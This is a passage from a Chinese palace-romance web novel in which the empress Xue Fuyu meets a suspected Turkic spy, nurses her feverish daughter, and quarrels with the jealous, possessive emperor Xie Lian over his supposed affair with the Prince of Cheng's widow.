然而她身上的打扮全然不似印象中的那样,她如今已是一副妇人打扮,身上穿着绫罗绸缎,头上簪着价值不菲的珠钗,全身上下无不在告诉他,她早已嫁作妇人,估计孩子都好几岁了。 渐渐地他感觉到了不对,他好不容易得来的消息,今日大周皇帝身边只带了唯一的皇后出行。 所以眼前自己魂牵梦绕的女子,竟成了大周的皇后吗? 想起上元那晚他派出去的刺客差点伤了她,他突然有些心有余悸。 他看着神色温柔的女子小心翼翼抱起昏厥的兔子,握着树枝的手稍一用力,手中的树枝很快就被折断。 薛弗玉听见这边的动静,她警惕地看向那边,以为是巡逻的侍卫,道了句:“谁在那?” 高大的树后面,男人不动声色地藏着。 半晌,有什么划破空气的声音,很快一支箭羽钉在了他的脚边。 “出来。” 女子冷静的声音传来。 看来他的位置已经被她发现了,男人想了想,最终从树后面走了出来。 薛弗玉以为是侍卫,谁知道看见男人的长相时愣住了。 她的目光落在那张深邃的五官上,看着倒不像是纯正的大周人,她从前在西北生活,边境有不少汉人和附近的异族通婚,她见惯了这样的长相,所以在看清男人的面容时并未觉得奇怪。 “夫人手下留情,我只是在这里迷路了。”穆然开口,语气中刻意带上了紧张。 男人身上没有任何危险的气息,但是薛弗玉手上的弓却没有放下。 这里都是谢敛的人,这个人又是如何能迷路到这里的? “夫人,我没有骗您,如果你不信,大可找了人来搜我的身。”穆然敢潜进来,自然是做了万全之策。 薛弗玉自然是不信他的话,她想起薛岐在信上说的话。 京中混进了突厥人的探子。 “你是谁?”薛弗玉盯着他问。 穆然听着她的声音,极力掩饰着自己的贪婪,似乎怕吓到她,他尽量放缓语气回答:“我叫穆然,前几日才进京,今日跟着友人踏青,不小心在这里迷路” 薛弗玉听着对方努力解释,有一瞬间她觉得这人看着似乎有些眼熟。 “皇后娘娘!” 素月和碧云的声音突然由远及近传来,薛弗玉眉头一皱,很快就收了弓箭,她捡起地上的兔子,又转头看了那男人一眼,最终没有说什么就朝着远处的二人去了。 留下被树木掩映的穆然站在原地,他那双鹰隼似的眼睛盯着那道渐渐远去的浅紫色背影,里头藏着的占有欲尽显无疑。 “大周的皇后,看起来倒是有些难办。”他若有所思道 薛弗玉想着带着兔子回去给昭昭,小姑娘一定会很高兴,想起女儿,她脸上的笑意尽显。 “娘娘,陛下在那里,咦?那不是成王妃吗,她怎么会在这里的?” 直到素月惊讶的声音响起,薛弗玉的思绪才收回。 她朝着素月的视线看去,正好看见远处隐约可见两道身影,二人站得极尽,男人侧对着她,手上握着一把像是刚折下的花,而薛明宜站在他的身前,此时正扬起一张对着男人,似乎在说着什么高兴的事。 薛弗玉怀中抱着兔子,静静地看着那一幕。 她看不清他脸上的神色,但是也能猜到大约是高兴的。 即便是一直都知道谢敛和薛明宜之间的事情,可当再次看见他们站在一处时,她脸上的笑意还是慢慢消失了。 第47章 那边站着的看起来相谈甚欢的男女并未发现薛弗玉,又或者是发现了, 只不过是不在意罢了。 果然之前他说的不喜欢薛明宜,都是骗她的。 薛弗玉定定地站在那里,看着二人所在的方向,只是双眸失神,眼中没有他们都身影,似乎在想着什么。 怀中的兔子动了动,看起来像是醒了,许是不久前被她射出的那支箭羽吓到了,如今还没缓过来,在她的怀里乖得不像话。 “走吧。” 半晌,薛弗玉收回自己的目光转身往回走,她神色淡淡,既看不出瞧见夫君与旁的女人在一起的失落难过,也看不出一丝的愤怒生气。 就好像是看见的只是两个无关紧要的人。 碧云和素月对视一眼,最终俩人什么也没有说,跟着薛弗玉回了已经搭好的营帐之中。 “陛下想得周到,这里的风光虽然好,但是娘娘在外面站久了也容易累,且那日头晒多了也不行,正好娘娘可以在这里面休息。” 素月笑着给薛弗玉倒了一杯茶,又让人将瓜果摆在帐中放置的案上。 薛弗玉把兔子交给碧云:“找个笼子把它安顿好,再让人去采些新鲜的草叶来给它吃。” 宫中自然不缺各种宠物,只是她亲自捉的小兔子,或许会让昭昭更喜欢。 她在搭好的简陋的床榻上坐着,盯着营帐外头翠绿的草木出神。 有宫人玩闹的笑声远远传来,她突然想起在林间看到的那位名唤穆然的男人,那男人五官看着就不似普通的大周人,即便是他的官话说得与京中之人无异,但也让她生出了疑心。 阿弟曾说京中眼下并不太平,那么这个自称是迷路了的男人,或许身份并不是他所说的只是单纯的经商之人。 而且即便是他隐藏得很好,可她仍旧从他看向她的眼神里捕捉到了危险,那种令人不适的窥探与让她看不明白的情绪,莫名让她不喜对方。 既然不知道对方的真面目,那便只能警惕,她原想着把这件事亲自去与谢敛说,谁知道瞧见人家正与薛明宜郎情妾意地在一处。 “素月,你去找侍卫长,就说是我吩咐的,让他加强对周围的巡逻,别什么不该出现的人混进来了都不知晓。” 片刻后,她沉吟道。 素月虽然不知道为何她突然变得谨慎,但她觉得娘娘说得也有道理,毕竟连成王妃都能知道陛下在这里而不请自来,万一再来些不速之客冲撞了娘娘,那可不好。 等她走后,碧云问:“娘娘可是在林子里碰到了什么人?” 帐中只剩她们二人,薛弗玉便也没打算瞒着她,“我在林中确实遇到一个奇怪的男人,那男人先不说是怎么能进来这里的,光是他的长相,就不像是大周人,看着倒像是我们从前在西北时,那些与异族人通婚生下的那种。” 碧云听闻,脸上顿时换成紧张的神色:“娘娘怎么不说,娘娘可有事?” 说着就要查看她身上有没有伤,薛弗玉见她一副紧张的模样,安抚似的笑了笑,温声道:“自然是没有,且我不知道对方的底细,也不敢贸然喊人,就怕潜进来的不止是他一个。” 当时周围或许有巡逻的侍卫,可她也不敢赌。 “娘娘没事就好,只是娘娘倒是让奴婢想起,这种地方是陛下特意挑选的,且来之前已经布下了不少侍卫,他能够进来这里,说明这其中定然有可疑之处。” 薛弗玉赞同碧云的话,那男人虽然装成迷路之人,可实在是让人怀疑。 她突然想起方才自己看到的那一幕,薛明宜是如何知晓他们今日在这里,她与那名男人之间是否有联系? 脑中出现许多杂乱的思绪,就在她快要抓住什么的时候,一旁的碧云看见了出现在帐子门口的谢敛。 “见过陛下。” 碧云的声音将她的思绪扯了回来,她抬眸看向门口,只见一身玄色常服的男人已经走了进来。 “听宫人说你只在外面逛了一会儿就回来了,累了么?” 他手上还握着她刚才看见的那束浅紫色的花,与她说话的语气寻常,仿佛薛弗玉方才看到与薛明宜在一起的男人不是他。 薛弗玉站起身,脸上已经挂上了习惯的浅笑:“大约是在宫中呆了许久,今日在外面走了一圈便发觉有些累了。” 谢敛眼眸微眯,直觉告诉他,她没有同自己说实话,他把手中握着的那束花送到她跟前:“这是我方才顺手折的野花,你若是喜欢,就让她们拿个瓶子装了带回宫里。” 宫中什么奇花异草没有,偏偏他觉得薛弗玉会喜欢,所以花了些时间细细挑了开得好的折了来给她。 眼前出现的浅紫色花朵带着淡淡的花香,与她在宫里闻过的香味都不同,是独属于山野间的清香。 她初初看见的时候,确实很喜欢。 不得不说,如今的谢敛确实很懂得拿捏她的喜好,只是一想到或许这花是薛明宜和他一起采的,她的心里突然就生出了膈应。 她看得没错的话,当时薛明宜的手中也拿着几支这种颜色的花。 她突然想起上次的白梅,只要与薛明宜有沾染的,她通通不要。 “这花过不了多久就会枯萎,带不回宫里的了。” 她说话的语气温柔,可说出的话却像是一盆冷水,从谢敛的身上兜头淋下,将他隐隐含着的期待瞬间浇灭。 他眼中的笑意消失不见,低沉的嗓音里蕴含着不易察觉的凉意:“玉姐姐不喜欢?” 薛弗玉眉心轻蹙,感知到了来自身前男人身上散发出的危险。 他不高兴了。 心里有个心声在告诉自己。 只是如今她不在宫里,自然不想再和从前一样哄他。 不等她回答,谢敛突然道:“既然玉姐姐不喜欢,那我去把它扔了。” 他说着就要转身,薛弗玉见此,知道他说的不是气话,而是真的要把这些花给拿去扔掉。 她下意识拉住了他的袖子:“陛下,还是不要扔了” 这花没有错,若是真让谢敛扔了,倒是有些可惜。 感觉到自己的袖子被人扯着,背对着她的男人果真停下了脚下的步子,他回身,脸上的阴郁不知何时已经一扫而光。 “所以玉姐姐是喜欢的?” 薛弗玉不知道他到底为何这么执着于她喜不喜欢,最终只能自欺欺人地点头:“自是喜欢。” 得到了她的肯定,男人的眼底出现一抹笑意,仿佛她说喜欢的不是花,而是人。 谢敛把花给了宫人之后,他这才认真地打量起眼前的女子,不知为何,今日的她似乎比在宫里时还要美上几分,这张让他不管看多少遍都不会厌倦的脸,也生动鲜活了许多。 “玉姐姐今日很美。” 他靠近薛弗玉,把人揽进怀中,闻到她身上的幽香,原先因为碰上薛明宜而带来的烦燥也不见了。 “玉姐姐,就这样一直呆在我的身边好么?” 原本正要想办法从他的怀中挣脱的女子,突然听见他这句话,心中顿时一紧,她仰起脸去看他,却撞进一双深不见底的眼眸中。 难不成是他发现什么了? 那双漆黑的眸子里映出她略显怔愣的脸,但是很快,她又露出温柔的浅笑,将头轻轻靠着他的肩膀,柔声道:“陛下说什么呢,臣妾与陛下是夫妻,除了在陛下的身边,臣妾还能去哪儿?” 谢敛听着怀中女子的声音,他的心突然安定了下来,方才那句话也不知道怎么的就说了出来,就像是潜意识里,他觉得玉姐姐会离开自己,才会脱口而出那句话。 就像玉姐姐说的,他们是夫妻,她是他的妻子,除了与他在一起,她哪也去不了。 这样想着,他收紧双臂,把人牢牢锁在怀中,墨黑的眸子里渐渐出现偏执的占有欲。 “玉姐姐说得对,你是我十年前明媒正娶的妻子,就算是百年之后,也要和我葬在一处,玉姐姐哪也不能去,就算是我死了,也要和我在一处” 说到最后,他的声音低了下去,薛弗玉本就因为他最开始的话心不在焉,所以没听清楚他最后说的是什么。 她敷衍地应了一声,开始担心倘若真的到了她要求他放自己出 宫那日,他是否会愿意。 谢敛感受到怀中之人的走神,他低头正要说话,陡然发现她头上今日出门戴的一支金钗不见了。 他问出了心中的疑惑,却发觉怀中的人身子似乎顿了一下。 “许是方才在外面的时候不慎掉了。”薛弗玉道。 那簪子出自宫中,就算是让人捡了去也不敢拿去换钱,更不能拿出来招摇。 但她不敢去想,万一她的簪子刚好掉在了林间,被那陌生的男人捡了去 不行,等会她得找个机会让素月和碧云带了人去把金钗寻回来。 “既然掉了便罢了,回去我再让司珍局给你做。”谢敛不动声色道。 他越是冷静,薛弗玉的心里就越担心,为了不让他发现什么,她只得面露浅笑:“不过是一支普通的金钗,丢了便丢了,陛下这些年让司珍局给臣妾做的首饰已经很多了,臣妾已经心满意足。” 她表现得这样体贴,他心里却生不出任何高兴的感觉。 “玉姐姐从前跟着我吃了不少苦,这些都是我想要弥补给你的。” 如今他明白了她在他心里有多重要,恨不得把世上所有的好东西都给她。 他唯一想要的,就是能在她的心里有一席之地。 让她不要再惦记着不该惦记的人。 更不要离开他。 薛弗玉愕然,他以前从不会与她说这些话,自她成为皇后以来,他给她的东西不少,原来这些都是因为想要弥补她吗? 还是说,他其实是在愧疚,又或者说是在心虚? 很快她又迫使自己冷静了下来,心想明明不久前才和自己的心上人见了面,转头又来和她说这些,倒显得他在意她似的。 她面上笑着,可是内心却平静得出奇,没有半分的感动。 “陛下既然想要弥补臣妾,那臣妾今日可以骑马吗?” 薛弗玉想着既然他说要弥补,那她这个小小的要求,也不知道他同不同意。 谢敛闻言松开了她,他低头看她的眼神中带着隐秘的审视,蓦地他想起在别院的那一天,她就是骑马回京中私会自己的旧情郎。 “玉姐姐原来会骑马么?” 他像是第一次得知一般,脸上露出一丝惊讶的神情。 薛弗玉见他没有如旁人一样对女子骑马一事表露不满,心里也松了口气,她唇边扬起笑意:“自然,从前在西北的时候,阿弟骑马都不如臣妾厉害,臣妾还能在马上——” 说到最后她停了下来,没有继续往下说。 谢敛难得见平日里温和的女子脸上露出骄傲的神色,此时的她整个人看起来光彩夺目,让他的心莫名悸动。 “怎么不说了?”他问。 薛弗玉轻声道:“臣妾失言。” 谢敛见她又变回了往日的温婉,不知为何,心中生出失落的感觉。 “无妨。”他淡声道。 他往外走了几步,发现身后的女子没有跟上,于是转头皱眉问:“不是想要骑马?走吧。” 说着手已经对着她伸了过去。 薛弗玉看着出现在眼前的手掌,她先是愣了一瞬,很快脸上露出笑意,将手放在了他的掌心。 谢敛带着她到了一处空旷的草地,转身吩咐人牵了一匹马来。 “陛下不骑吗?” 薛弗玉上前摸了摸枣红色的大马,回头问站在一旁的男人。 谢敛道:“我看着玉姐姐就好。” 他不爱骑马,更想看她在马上的样子。 薛弗玉倒也不勉强,她抬手把头上的几支珠钗摘下交给他:“有劳陛下替臣妾保管。” 她的眼睛弯成月牙,眸中似藏了星子 “王妃,咱们回去吧。” 宝扇跟在薛明宜的身后,昨夜小安子让人给她们递了消息,说是陛下今日要带着皇后娘娘来这里,王妃特意打扮了一番,就是为了与陛下偶遇,结果就是王妃自讨没趣,陛下根本就不想理王妃。 她可是听得清清楚楚,陛下说等再过几个月就让人送王妃回西北。 薛明宜咬了咬唇,想起谢敛冷漠的话,心里的那点希望也被浇灭了,如今薛家靠不住,姑母也被变相幽禁。 而谢敛似乎也并不像那些人所说的还念着她。 也是,二姐姐生得那样美,无论是哪个男人娶了她,都不会冷落太久。 可若是二姐姐和别有染呢? 谢敛能容忍自己的皇后,和外臣私通吗? 那包药本来是要用在谢敛身上的,如今看来是不能了。 第48章 到底是怕薛弗玉累着,到了午后,谢敛就带着人回了宫中。 他原是想要和薛弗玉一起回凤鸾宫,结果才到凤鸾宫,李德全就匆匆赶来,说是陆骞已经在金銮殿的门口等了他有一个半时辰了。 “陛下,既然是陆大人有事找您,还是先别管臣妾了。” 薛弗玉知道陆骞是谢敛的心腹,又掌管着北镇抚司,进宫找他自然是有要事,若是他不去的话,指不定旁人还以为她这个皇后霸占着皇帝。 那些人本就不满后宫只有她一人,所以这几年来她轻易不让人捉到错处。 更何况她也不是很喜欢一直与谢敛呆在一处。 “那朕晚些再来看你。” 她这样识大体,让他心里生出愧疚的同时,还有诡异地满足。 目送着谢敛离开后,薛弗玉脸上温柔的笑意也渐渐淡了下去,她对着宫人道:“去棠梨宫把公主叫来,就说本宫这里有小兔子。” 想着女儿见到小兔子时惊喜的模样,她的唇角又弯了弯。 然而半柱香之后,那名传话的宫人急匆匆地回来,身后却没有跟着那道熟悉的小小的身影,薛弗玉还未开口询问,那名宫人就着急道:“娘娘,公主午睡醒来后不久说身子难受,公主身边的奶嬷嬷才发现公主不慎着凉感染了风寒,此时正烧着,那边的人以为娘娘出宫还未回来,所以没有来告知娘娘。” 薛弗玉一下子就站了起来,她走到宫人的跟前:“可找太医去瞧了?” 说着她越过宫人着急地往殿外走去。 “已经请了太医给公主瞧过了,眼下正煎药,就等着药好了给公主服下。” 宫人回话的期间,薛弗玉已经出了宫门,她一心只想着昭昭,差不多是一路疾走到了棠梨宫。 “公主怎么样了?” 进了昭昭的寝殿,薛弗玉立刻走到床前,看着脸色通红的女儿,她弯腰拿手背碰了碰昭昭的额头和脸,发现没有想象中的滚烫,这才稍稍松了口气。 棠梨宫的宫人纷纷跪下,奶嬷嬷跪着磕了几个头,把额头都磕红了才道:“公主身上已经没有原先那样热了,奴婢们没有看好公主,还请皇后娘娘责罚!” 薛弗玉叹了口气,对着她们道:“起来吧,人生病也不是你们可以控制的,昭昭在长身体,生病也是正常的事,只是日后再仔细些,莫再让公主疯玩着凉。” “奴婢们谢皇后娘娘!” 她的话说完,宫人们心里感激,都想着以后照看公主时要更加小心。 “阿娘” 昭昭正难受着,突然听见自家阿娘的声音,便缓缓睁开了眼睛。 小姑娘费力地抬起了手去拉她,她的声音带着哭腔:“阿娘,昭昭好难受呀。” 薛弗玉听见女儿可怜兮兮的声音,她的心顿时揪成了一团,她在床边坐下,把小姑娘抱紧怀中轻轻拍着她的后背安慰她:“阿娘在这里,昭昭别怕,等会喝了药就好了。” 昭昭枕着她的肩闭上眼睛,整个人缩在她的怀中,“他们说阿娘出宫去了,昭昭是不是不该在这个时候生病,阿娘好不容易出宫一趟。” 薛弗玉倒是不知道小姑娘竟然开始变得懂事了,然而却叫她更加的心疼,她柔声道:“在阿娘这里,什么都比不上昭昭,如今昭昭生病了,阿娘也不好受,所以昭昭要快些好起来。” 她轻声细语安慰着女儿,等宫人端了药来,本以为要哄着小姑娘喝药,谁知道昭昭只是皱着眉头,很快就喝完了那些又苦又涩的药汁。 “阿娘,昭昭想要吃糖。” 昭昭漱口之后,又开始缠着薛弗玉想要糖吃。 薛弗玉立 刻让人去拿了糖来,亲自把糖塞进了昭昭的嘴里。 “喝了药好好睡一觉吧。” 说着薛弗玉就要把人给重新放回到床上。 然而昭昭却扒着她不放:“昭昭不要,昭昭就要阿娘抱着睡。” 最终薛弗玉只能先把人给抱着,轻声哄她:“好好好,阿娘抱着昭昭睡,快睡吧。” 昭昭这才安心地闭上了眼睛。 薛弗玉抱着人靠在床头,哼着小时候在西北娘亲哄她唱的歌谣。 不知道过了多久,只觉得手麻了,低头发现女儿已经不知不觉睡已经着了,她轻轻唤了一声,见女儿没有反应,于是对着一旁的奶嬷嬷使了个眼色。 对方很快意会,忙掀开被子,让她把人给放回床上,最后又小心翼翼盖好被子。 薛弗玉让人打了水来,给昭昭擦拭了一遍身子,最后又用是手帕放在昭昭的额头上,让她更快降温,等帕子热了又重新洗了拧干再放回去。 这样不知道重复了多久,外面的天色不知不觉已经暗了下去。 “娘娘?” 直到碧云进来唤了她一声,薛弗玉睁开眼睛,她下意识看了一眼还在睡着的昭昭,接着揉了揉自己的额头。 她是什么时候睡着的? 许是白天在外面骑马累到了,回来后又一直在照顾昭昭,所以一闭上眼就睡着了。 她小声问道:“什么事?” 碧云瞧见脸上的憔悴,担心道:“晚膳奴婢已经命人摆好了,娘娘还是先用晚膳吧,这里还有她们呢。” 其实薛弗玉不饿,这种时候她满心满眼都是昭昭,根本吃不下饭。 “我不饿,等昭昭醒了再说吧。” 碧云知道她爱女心切,可也不忍心看她饿肚子,于是继续劝道:“娘娘不如趁着公主还未醒来,先把晚膳用了。” 薛弗玉听着碧云的劝慰的话,看了一眼还在熟睡中的昭昭,觉得碧云的话也有道理,索性起身吩咐奶嬷嬷先在这里守着。 等她草草用了晚膳之后,又重新回了内室。 “娘娘,公主该起来喝药了。”有宫人轻手轻脚端了药来。 薛弗玉于是又低头靠近昭昭,轻声道:“昭昭,起来喝药了。” 小姑娘睡了一个多时辰,想来也饿了。 昭昭迷迷糊糊中感觉自己被阿娘抱了起来,她不知道嘟囔着说了什么,把头靠着她的肩膀,又闭上了眼睛。 薛弗玉瞧着她的样子,倒是有几分谢敛与她耍赖时的影子。 真不愧是父女。 “昭昭,来先吃点粥,再把药喝了,等你病好了,阿娘再带你去放纸鸢,好吗?” 听到放纸鸢,昭昭很快又睁开眼睛,她睁着水灵灵的眼睛问:“阿娘说得是真的吗,那父皇也要和我们一起。” 薛弗玉笑着点头:“嗯,阿娘答应昭昭。” 有了她的保证,昭昭听话的喝粥喝药,乖得不像是这个年纪该有的样子。 “真是阿娘的乖孩子。” 薛弗玉替她擦拭嘴角的时候,忍不住在昭昭脸上亲了一口。 昭昭害羞地躲进她怀中,半晌后又抬头问:“昭昭想父皇了,父皇今晚能来看昭昭吗?” 薛弗玉觉得这个时候谢敛大约是有空的,且他离开之前还说了晚些还会去凤鸾宫看她。 回来后她一直在照顾昭昭倒是忘了让人去告诉他昭昭生病的事,不如借着这个时候让人去找告诉他,顺便再请他来棠梨宫。 “昭昭生病了,你父皇自然是会来看你的,等他忙完就会来的。” 说着对碧云使了个眼色。 碧云会意,转身就出了寝殿。 等她到了金銮殿的时候,却发现里面的烛火已经熄了,门口只剩下值夜的宫人。 “陛下怎么不在,是回紫宸殿了吗?” 那宫人见了来人是碧云,立刻恭敬地回答:“回碧云姑姑,陛下他和陆指挥使出宫了,看样子好像是有什么着急的事。” “出宫了?什么时候的事?”碧云心中顿时生出不好的预感,她蹙眉追问。 宫人挠了挠头:“这个奴才就不知道了,只是陛下和陆指挥使走的时候,似乎提到了成王府。” 成王府如今只有成王妃在,陛下出宫也不能是为了去见成王妃吧,况且他们二人白天不是才见过吗? 碧云的脸色变了变,她突然问道:“陛下和陆指挥使大人一起成王府吗?” 按理说若是陛下要去成王府,如何会明目张胆的去,且还是和陆骞一起,陆骞是什么人,大家都知道,要他上门的地方,多半是犯了大罪的。 成王都死了,哪里还能犯了什么事。 宫人回道:“正是,奴才瞧着陆指挥使紧跟在陛下身边,就连李公公都一道去了。” “这不可能”碧云下意识道。 这样的阵仗,陛下究竟是要做什么? “怎么不可能,我可是亲耳听见陛下说要去成王府看望成王妃的,说什么成王妃身子不好,陛下放心不下,成王殿下为了咱们大周英年早逝,陛下说理应替成王殿下多多照拂成王妃。” 小安子不知道从哪里出来,对着碧云道。 碧云知道小安子是李德全的人,原是想给陛下开脱的,可小安子都这样说了,多半陛下出宫去见成王妃这事便是真的了。 她维持着脸上的笑,对着小安子道:“那劳烦安公公,等陛下回来后禀告陛下,就说公主生病了,公主念着陛下,还请陛下得空了前去棠梨宫看看公主。” 小安子脸上笑眯眯地回答:“这是自然,公主殿下生病是大事,等陛下回来了,奴才一定立刻回禀陛下。” 他说完,笑着送走碧云之后,却听见身后的宫人不解道:“安公公,陛下只说去成王府,可并未说是去看望成王妃呀。” 明眼人都知道,一旦牵扯上陆指挥使,别说是去看望成王妃,说不定是去拿人的。 小安子啐了他一口:“你知道个屁,陛下的心里一直有成王妃,可他们二人的身份特殊,不带着陆大人怎么能掩人耳目?” 说完就见那宫人反应了过来,他脸上露出一抹笑:“还是安公公聪明!” “陛下怎么说的?” 薛弗玉一边摸昭昭温热的额头,一边回来复命的碧云。 碧云看了一眼睁着圆溜溜的双眼的昭昭,只能走到薛弗玉的身边与她耳语。 薛弗玉的脸色不变,等碧云说完之后,对着昭昭道:“你父皇还在忙着,今晚怕是不能来了,等明日阿娘再亲自去找你父皇,让他来看昭昭,好不好?” 昭昭先是瘪了瘪嘴,但是看见阿娘疲惫的面色,只得乖乖点头:“昭昭听阿娘的,父皇明日一定要来,不然昭昭会难过的。” “嗯,昭昭先睡吧,睡着了身子就不难受了。” 说完后她透过窗子看了一眼外面漆黑的天色。 这个时候,谢敛和薛明宜在做什么呢?—— 作者有话说:火葬场倒计时 第49章 北镇抚司。 谢敛从诏狱中出来的时候,已经是月上中天。 “陛下可是现在回宫?”陆骞在一旁问 。 谢敛一出宫就在诏狱呆了两个时辰,为的不过是亲自审今日抓到的突厥探子。 好不容易撬开了对方的嘴,拿到了些线索,谁知道那探子不经拷问,没多久就咽气了。 眼前的男人因为探子的死而心情不好,他抬头看了一眼浓墨似的天空,最后道:“朕给你一个月的时间,一个月后,朕要知道他们的计划。” 陆骞神色一凛,应了下来。 自年前开始,他们就发觉京中有人开始蠢蠢欲动。 上元节的刺杀就是开始。 不,或者说成王的死就已经开始了。 谢敛想起成王,脸色变得阴沉。 “陛下,臣有个推测,那些人或许还会在五月的春猎动手。”陆骞道。 谢敛眸中微闪,大周每年的春末都会举办春猎,届时皇帝会带领一众臣子前往京郊几十里外的巫溪山开展围猎活动。 春猎吗? 也许那些人会选择在春猎的时候动手。 “去找薛岐。” 半晌之后,谢敛突然扔下这四个字就离开。 陆骞目送着他的背影消失在夜幕之中。 看来陛下对薛将军倒是看重 谢敛回到金銮殿的时候,已经是一个时辰后的事了。 在殿门前值守的宫人见了他,立刻上前道:“陛下出宫后,皇后娘娘遣了人来找陛下,说是公主生病了,请陛下前去棠梨宫看望公主。” 他还想继续说话,却见男人已经转身大步离开。 谢敛匆匆赶到棠梨宫,进了昭昭的寝殿。 却见薛弗玉靠坐在床边合着眼,手中还握着已经取下的手帕,她似乎累极了,湿润的手帕晕湿了一块身上的衣裳都不知道。 他脚下的步子放轻,走到她的身边,小心把她手中的帕子拿走,自己去重新洗干净了帕子。 薛弗玉以为是宫人在清洗,她睁开眼睛轻声道:“公主的体温已经降下来了,把这些拿出去吧。” 她的声音有些哑,透露出一丝的疲惫。 正在拧帕子的男人动作一顿,把帕子放好后,让一旁的宫人把水端出去。 薛弗玉这时候才察觉到了什么,她放在昭昭额头上的手顿了一下,收回手后回头看了一眼,正好看见谢敛往她这边走来。 “陛下。” 她还以为他今晚不会过来了,看他的样子倒真的是刚从外面回来的。 见他站在床边,她主动起身给他腾出位置,动作中透露出疏离。 谢敛一心想着昭昭,并未发现她的冷淡。 他弯腰去观察昭昭的状态,和她一样用手碰了碰昭昭的额头和脸颊,发觉昭昭的体温正常之后,又给她掖了掖被角。 薛弗玉静静看着男人的一系列动作,想起他今晚趁着夜色出宫去成王府的事。 “你今日辛苦了,去偏殿歇着吧,这里交给我。” 谢敛握住她微凉的手,带着她往偏殿去。 薛弗玉感受到他掌心传来的热度,她垂眸,看向二人交握在一起的手。 不知道这只手,在不久前是否碰了薛明宜? 直到进了偏殿,薛弗玉把手从他的掌中抽出,抬眸对上他,问:“听说陛下今夜去了成王府看望成王妃?” 果然她的话才说完,身边的男人动作顿了一下,只见他低头看向她,脸上的神色不明:“玉姐姐是在怀疑我与成王妃么?我今晚没有去见她,我是去——” 说到一半他到底没有把去诏狱的事说出口,去成王府的消息是他故意放出去的,他本是想要利用小安子传递假消息。 却不想今天昭昭生病了,她会派人去找金銮殿找他,瞧着她眼下这幅模样,他便知道小安子又趁机挑拨他们。 他本应该早些让人处理了小安子,然而小安子如今对他还说还有用,不能轻易了结了他。 只是他没有想到,玉姐姐竟是真的对他一点信任都没有。 薛弗玉听着身前的男人不善的语气,她突然觉得有点可笑,明明该生气的人是她才对。 “陛下大晚上出宫去成王府不是去见成王妃,难不成去给成王上香的不成?” 她见他话没说完,更觉得他在狡辩,于是反唇相讥,没有了往日的温柔。 也疲于应对眼前的男人。 她的话明晃晃地在告诉谢敛,她就是在怀疑他,就是不信任他。 谢敛脸上再次露出怔愣,然而是不敢置信的表情:“原来我在你的心里就是这般朝三暮四的人?” “陛下怎么会是朝三暮四的人,陛下一向专情,这么多年对成王妃一直念念不忘,就连今日带臣妾出宫,也不过是见成王妃的幌子,陛下白日里见了她不够,晚上还要去见她,既然陛下这么喜欢她,何不与臣妾说一声,好让臣妾让位于她,也好成全了你们这对有情人!” 薛弗玉干脆破罐子破摔说完这些,只觉得今天一直堵着的一口气终于散了,语罢她冷冷看向身前的男人,静静等待着他的怒火。 然而想象中的怒火并没有来,只见谢敛一脸错愕地看着她。 原来这些才是她的真心话,一直来都以为他都觉得他和薛明宜之间不清不楚,所以她根本就没有把他那晚的话听进去。 他自认为登基以来并没有半分对不起她,除了上次假孕一事他做得不妥,可也承认自己错了,但他这几年来对她的那些好都不能抵消一点么? “玉姐姐,你说的这些话都是气话,对不对?” 他还存了些自欺欺人的想法,或许是因为她的心里有他,因为她吃醋才会口不择言说出这些伤人的话来的。 薛弗玉觉得他这样实在是有些好笑,她平静道:“臣妾说的都是真心话,若是陛下觉得臣妾失仪,大可废了臣妾,只是看在夫妻一场的份上,还请陛下废后之后,允许臣妾出宫。” 谢敛没想到她还能说出更伤人的话来,他如何都不可能废后,很快他似是想起了什么,他猛地攥住她的手腕把人拉到身前,眼眶泛红,咬牙道:“你今晚说这些都是为了惹怒我,好让我废了你,你再出宫和宋璋双宿双栖,是么?!” 薛弗玉本就不喜欢他将宋璋牵扯进他们二人之中,可这一回,她没有第一时间反驳。 这样迟疑的反应落在男人的眼中,她就是心虚了,心中的怒火与妒火快要把他的理智都烧光了,他面含怒气,质问道:“你觉得我带你出宫只是为了见成王妃?但我并不知晓成王妃会出现在那,可你呢,那日你借着去别院的名义,私下里又去见了谁,玉姐姐,你这样真的不公平。” 薛弗玉没想到那日她见到宋璋的事,谢敛竟是知晓,甚至一直以来都没有揭穿她。 至于没有揭穿的原因她并不想知道。 “是,臣妾那日见了别的男人,陛下满意了吗?”既然他已经知道,她也没打算否认。 她不能忍受他私下见薛明宜,想来他更是不忍受自己的妻子与旁的男人见面。 谢敛没想到她承认得这般快,满心的怒火突然就被浇灭,取而代之的是恐慌。 她心里的人真的一直都是宋璋,就像林季说的那样,她与宋璋青梅竹马,若不是薛家的逼迫,她如今早已是宋璋的妻子了。 他才是那个抢了别人姻缘的恶人。 可他不甘心,明明他才是与她相守十年的夫君,宋璋又凭什么占据着她的心,而她又凭什么这么多年了还不忘宋璋,难不成他在她身边的这十年,什么也算不上么?! 这十年来与她一起的所有,从旧宫到现在,全部点滴早已深入骨髓,他如何能放了她? “你要与宋璋在一起,就算是我死了也别想,玉姐姐,你这辈子只能呆在我的身边。”他突然道。 薛弗玉抬头看向他,却见男人的脸上隐隐透出偏执与疯狂,好像只要她敢逃离,他就会对她做出什么事来。 眼前的男人让人看着陌生,身上散发出的危险不再掩饰。 “谢敛,你疯了!” 薛弗玉想要挣脱他的手掌,然而那紧紧握着她的手掌不仅没有任何松开的意思,反而烫得惊人。 见挣脱不掉,她便别过脸去选择不看他。 耳边是他带着冷意的轻笑声,“玉姐姐连骂人都不会么?” 他贴近薛弗玉,捏住她的下巴迫使她抬头看他。 那双漆黑的眼眸里全然没有了往日的冷静,里头像是藏着什么洪水猛兽,只要她稍不留神,就会被它吞噬。 被他这样盯着,她的心底深处没来由的生出害怕,她从未见过 这样的谢敛。 从前在旧宫时,即便是再怎么被人欺负,他也不会有这样可怕的一面。 又或者说,她其实一直都没有真正了解过他。 “你放开我!” 薛弗玉感觉到攥着自己腕骨的手力道又加深了,疼痛让她眉头皱起。 男人却像是没有感觉到一般,那双墨色的瞳孔不再掩饰对她的占有,捏着她下巴手指摩挲着她细腻的肌肤,男人慢慢靠近,温热的气息吐在她的脸上,似温柔地对着她道:“只要玉姐姐答应我,永远不会离开我。” 这时候的他才明白,他没有资格评判先帝,他曾觉得先帝就是个疯子,为了把母妃强留在身边,什么手段都用过。 现在想来,他身上流着先帝的血。 他如今,与先帝也没什么区别。 薛弗玉听到他的话怔愣住了,她想要摇头,可捏着她下巴的手让她动不了一点。 “阿敛,你真的要这样对我吗?” 半晌,她语气软了下来,没了方才的针锋相对,可说出的话仍旧不妥协。 